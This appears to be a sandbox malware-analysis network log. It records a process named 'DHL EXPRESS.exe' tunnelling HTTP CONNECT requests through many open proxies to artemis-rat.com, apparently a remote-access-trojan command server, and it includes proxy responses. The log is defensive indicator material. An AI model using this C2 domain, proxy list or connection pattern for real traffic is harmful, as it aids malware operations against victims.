Mar 11, 2024 18:36:58.884145021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1975	192.168.2.8	53892	91.134.140.160	30895	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.888619900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1976	192.168.2.8	55254	195.138.65.34	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.888940096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1977	192.168.2.8	55255	192.111.135.17	18302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.889821053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1978	192.168.2.8	53914	213.250.198.66	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.902797937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1979	192.168.2.8	55256	102.132.201.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.908597946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1980	192.168.2.8	53985	148.72.23.56	42312	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.928042889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.009035110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.122467995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.206777096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.206361055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.206279993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.206285000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1981	192.168.2.8	54055	190.2.211.146	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.931380987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.604636908 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1982	192.168.2.8	55227	185.89.156.130	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.936652899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1983	192.168.2.8	54073	180.148.4.74	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.938235998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.923321962 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1984	192.168.2.8	55234	45.125.222.97	47239	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.007711887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1985	192.168.2.8	54044	196.204.24.254	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.016483068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.066009045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.066487074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.067542076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065752983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.190934896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.190902948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:11.192295074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:59.190774918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1986	192.168.2.8	55223	72.195.101.99	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.028059006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1987	192.168.2.8	55238	185.186.17.57	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.057018042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1988	192.168.2.8	55271	154.205.152.96	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.071523905 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1989	192.168.2.8	55277	107.181.161.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.085408926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1990	192.168.2.8	55267	52.151.210.204	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.103255987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1991	192.168.2.8	55272	70.166.167.38	57728	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.119035959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1992	192.168.2.8	55265	138.36.150.26	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.122473001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.894076109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1993	192.168.2.8	55281	68.71.254.6	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.130469084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.768959999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1994	192.168.2.8	55266	119.18.149.34	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.149686098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.003314018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206666946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1995	192.168.2.8	55270	51.15.252.246	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.167742014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1996	192.168.2.8	55273	8.130.39.117	3389	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.197539091 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:59.513204098 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1997	192.168.2.8	55269	45.11.95.165	5036	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.203037977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1998	192.168.2.8	55268	45.11.95.165	6010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.204694986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1999	192.168.2.8	54138	217.145.199.47	56746	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.239979029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2000	192.168.2.8	55288	213.250.198.66	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.263915062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2001	192.168.2.8	55282	47.100.236.23	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.272428036 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:01.817178965 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2002	192.168.2.8	55289	125.122.26.242	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.290604115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2003	192.168.2.8	55292	37.52.13.164	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.385751009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2004	192.168.2.8	54181	178.79.165.164	60011	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.388254881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.409601927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.410104990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.409950972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.409540892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2005	192.168.2.8	54164	45.65.65.18	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.407706022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2006	192.168.2.8	54167	5.252.23.206	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.418251991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.543239117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.563241005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.597002029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.649091005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
